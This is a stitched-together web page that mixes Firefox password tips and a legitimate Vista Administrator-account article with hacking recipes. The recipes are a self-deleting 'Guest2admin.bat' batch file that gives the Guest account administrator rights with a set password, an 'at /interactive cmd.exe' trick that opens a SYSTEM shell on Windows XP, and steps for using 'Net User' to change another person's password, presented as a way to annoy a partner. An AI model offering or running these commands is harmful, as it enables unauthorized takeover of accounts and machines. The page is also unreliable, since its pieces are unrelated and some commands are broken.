The CyberNet Technology News blog has a simple solution for getting Firefox to save your username and password for those sites that won't let you store your password.
The method is simple. You add a Password Saver bookmarklet to your Firefox toolbar, and when you end up at a site that won't let you save your login info, just click the bookmarklet, then log in as you normally would. This time you'll be able to tell Firefox to remember your password.
Secure your saved passwords in Firefox
One of Firefox's most convenient features is its ability to save the passwords you use to log on to web sites - like your webmail and online banking - so you don't have to type them in every time. Those saved passwords appear as asterisks in the password field, but did you know how easy it is to see what they are? In Firefox, from the Tools menu, choose Options, and in the Passwords tab hit the "View Saved Passwords" button. Then hit "Show Passwords." Yup, there they are, all your high security passwords in plain text and full sight. I kid you not.
Try it. Right now. I'll wait.
Now consider how easy it would be for your Firefox-lovin' housemate to log onto your Gmail, or the computer-sharing temp at the office to get into your checking account or your other half to discover all your pr0n site logins. (Ok, we're just kidding about the porn. Maybe.) Not such a great feature anymore, eh? Today we'll go over a lesser-known feature in Firefox which secures your saved passwords without requiring you to give up the convenience of those autofilled login details.
Back in that password dialog (Tools menu, Options, Passwords) there's a "Change Master Password" button. This master password is a SINGLE password that will unlock the rest of your saved passwords from prying eyes. It's a password you'll have to enter once a session - so each time you restart Firefox. (Click to enlarge.)
When setting the master password, the fox has a neat "Password quality meter" which displays how difficult your password is to crack. Try different combinations of words and numbers and symbols to get this secure-o-meter as high as possible. For example the password lifehacker scored very low on the quality meter, but *l1f3h4ck3r* was about 90% hard to crack. (Click to enlarge image.)
Now, the trick here is to pick something you will NEVER FORGET. In the words of the venerable Firefox, "If you forget your Master Password, you will be unable to access any of the information protected by it." 'Nuff said.
Once your Master Password is set, close Firefox. When you reopen and go to a page where you've saved a password - like Gmail - you'll get a security prompt like so:
This prompt is a bit of an inconvenience, but it buys you the peace of mind that no one else is logging onto your sites without explicit authorization. Plus you only have to enter it once a session, a great alternative to "type every password in every time" for paranoids who never save passwords in the browser (like, um, me.)
Well thats possible ..
Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...
- Haking "admin" from "user" mode n more
really that is possible !
u know why is it a "user" account because it lacks come service layer than that in "administrator" account
Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.
Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).
The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager
Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:
You can trick the system into running a program, script, or batch file with system level privileges.
One sample
One trick is to use a vulnerability in Windows long filename support.
Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.
Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.
In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.Quote:
Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.
Getting SYSTEM
I will now walk you through the process of obtaining SYSTEM privileges.
To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).
At the prompt, enter the following command, then press [ENTER]:
Code:
at
If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:
Code:
at 15:25 /interactive “cmd.exe”
Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:
When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:
You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.
At the system command prompt, enter in the following:
Code:
explorer.exe
A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):
System user name on start menu
explorer.exe running under SYSTEM
What to do now
Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.
ADMINISTRATOR IN WELCOME SCREEN.
When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.
EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!
Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.
You won't find the Administrator account in the User Accounts Control Panel. But the MMC-based Computer Management section of the Administrative Tools Control Panel does give you access to the Administrator account. By default, the account is disabled, but you can enable it there. Your obvious conclusion might be that all you need to do is enable the Administrator account, restart Windows and then log into the Administrator account. But that doesn't work. There's an added step that Microsoft hasn't documented and that isn't all that intuitive: Not only do you have to enable the Administrator account, you also have to disable all other accounts with computer-administrator privileges. And since Vista's clean-install setup program forces you to create a new user account with computer administrator privileges, everyone has to cross this hurdle in finding the built-in Administrator.
Before you take any steps to reveal Administrator on your computer, please be aware that there's a bug in Vista Beta 2 that can cause you serious woe if you create a password for your Administrator account in Computer Management. The result of the bug is that you will be completely locked out of your Windows Vista installation. So, please follow the directions to the letter. I will show you how to safely add a password to your Administrator account.
Start by booting your computer to Vista in your computer administrator account. Open the Administrative Tools Control Panel. Double-click the Computer Management item to open it. Authorize UAC by clicking the Continue button. Double-click "Local Users and Groups" to open it. Click the Users folder. On the right side of Computer Management, you should see icons for all of the user accounts created on your computer. The ones that have small red circles with an "X" through them are disabled.
Click to select the Administrator icon, and then right-click it to open its context menu and choose Properties. Remove the check mark from the "Account Is Disabled" box and click OK. You'll need to restart your computer and follow one of the following two methods to access Administrator.
Accessing Administrator: Method 1
For this method, you press F8 as Windows is starting up when the character mode part of the boot-up says something to the effect of "Starting Windows. ..." In a dual-boot environment, you can do that from the boot menu. Once the boot menu is showing, paused for your operating system selection, use the arrow or tab keys to select "Microsoft Windows" (the option that runs Windows Vista). Don't press Enter; instead, press the F8 key, and you'll progress to the Safe Mode boot screen. Choose the first option, "Safe Mode" and press Enter.
After a time, Vista will show you the log-in screen with two options, Administrator and Other User. Click the Administrator icon.
Running Safe Mode as Administrator both limits and extends your privileges. But for quick access to the Administrator account, this is about as good as it gets in Vista Beta 2.
Accessing Administrator: Method 2
The second method allows you to log into the Administrator account just as you would any normal account. So you get the full-fledged Administrator privileges in a normal boot mode, not Safe Mode. There's a trick you need to know to make it work. And also something you need to watch out for.
Start by enabling the Administrator account in Computer Management just as described above. (Remember: Don't set a password in Computer Management for the Administrator account.)
The second step -- the trick -- is to disable any other enabled accounts with computer administrator privileges in the Users area. Look for account icons that lack the red disable mark. You should find at least one with computer administrator privileges. Follow the same steps to open Properties, but this time, click to add a check mark in the box labeled "Account Is Disabled."
Double check that your Administrator account is enabled. Close Computer Management and restart Windows. When it comes back up, it will just load the Administrator account, since you haven't set a password.
For security reasons, this method should only be used on a temporary basis. Your Administrator account should not be left enabled without a password. So, have a look around, but don't move in. And when you're done, I strongly urge you to re-enable your user account(s) and promptly disable the Administrator account.
If your goal in accessing the Administrator account is to ditch User Account Controls, a somewhat safer way to do that would be to stick with your account with computer-administrator privileges (the one that is not named Administrator). Open the User Account Control Panel. Click the link there that reads "Change security settings" (in Vista Beta 2) and "Turn User Account Control on or off" (in Build 5472 and beyond). On the subsequent screen, you'll find an easy way to turn off UAC.
Living Dangerously
There is another possible wrinkle on Method 2. It is possible to set a password for your Administrator account. The bug with setting the Administrator account is in the Computer Management part of the Administrative Tools Control Panel. But there's another way to manage user accounts: the User Accounts Control Panel.
User Accounts doesn't display any settings for the Administrator account until you're booted into that account. But once you're booted into Administrator, it lets you set a password for it without any negative effects. So this is a work-around if you'd like to leave your Administrator account enabled. Enable it in Computer Management, and then set a password for it in the User Accounts Control Panel. It's important to protect it with a password that's not easy to guess or arrive at by trial and error.
Conclusions
Despite what it may seem to some people, Microsoft's decision to disable and lightly hide the Administrator account in Windows was a very good one. Millions of people have for many years been living in this account -- many without even having set a password for it. Doing so makes it easy for malware and hackers to waltz into an account that has unlimited access to the operating system. By changing the name for the account on your computer that has administrative privileges, and by setting a password for it, Windows security is raised considerably.
The user experience for dealing with User Account Control elevations, although improved in Windows Vista Post-Beta-2 Build 5472, is still a little rough. Microsoft has designed UAC in a way that keeps you from having to reboot between changes, but there are still too many nuisance UAC prompts. There's still development time to go on Vista's User Account Controls.
Online editorial director Scot Finnie has been an editor for a variety of IT publications for more than 20 years. This article was adapted from the July 2006 issue of Scot's Newsletter and is used by permission.
But you will need the password for the 'Administrator' account. I'll assume you have that.
In Windows XP Pro, that Administrator account is not listed on the login screen, unless it's the only account on the machine. You can still log into it, though ... by rebooting into 'Safe Mode'. Press F8 when Windows begins to boot, and you'll be given a list of boot options, one of which is 'Safe Mode'. Select that, and the 'Administrator' account will appear on the login screen.
From here it's easy. Once you've signed in as 'Administrator':
* Right-click on My Computer
* Click on Manage
* Expand Local Users and Groups
* Click on Groups
* Double click on Administrators
* Click on Add
* Enter the account name on this machine that you want to assign administrative privileges to
* OK your way back out.
Now reboot your machine normally, and the account you selected should now have administrative access.
1. Open Command Prompt. If you don’t know how, open the Start menu, go to Programs (or on Windows 2000 and up, all programs), go to Accessories, then you’ll see Command Prompt, click it.
2. You’ll see a black screen pop up.
3. Type in: “Net User”
4. It will then show you a detailed little chart of all the User Accounts on the computer.
5. Choose which account you want to hack.
6. Say it says the user accounts are: Owner, Administrator, John, Alice, Christopher, and Guest.
7. You choose Alice (Say you wanted to annoy your wife or girlfriend, I told you this would be a useful guide ;) ).
8. Now type: “Net User Alice”, it’ll give you A LOT of information about the account. This step isn’t necessary, but it gives you information on other things you can do to the account, such as set it as innactive and delete it.
9. Type in: “Net User Alice *” It’ll tell you to enter a password, then again to confirm it. This will both change the password or make a new one.
10. Good Job! You’ve actually hacked an account! Now if Alice says anything, good luck with that, that’s in the article “How to Ignore an Annoying Wife or Girlfriend”… if it exists.
Posts
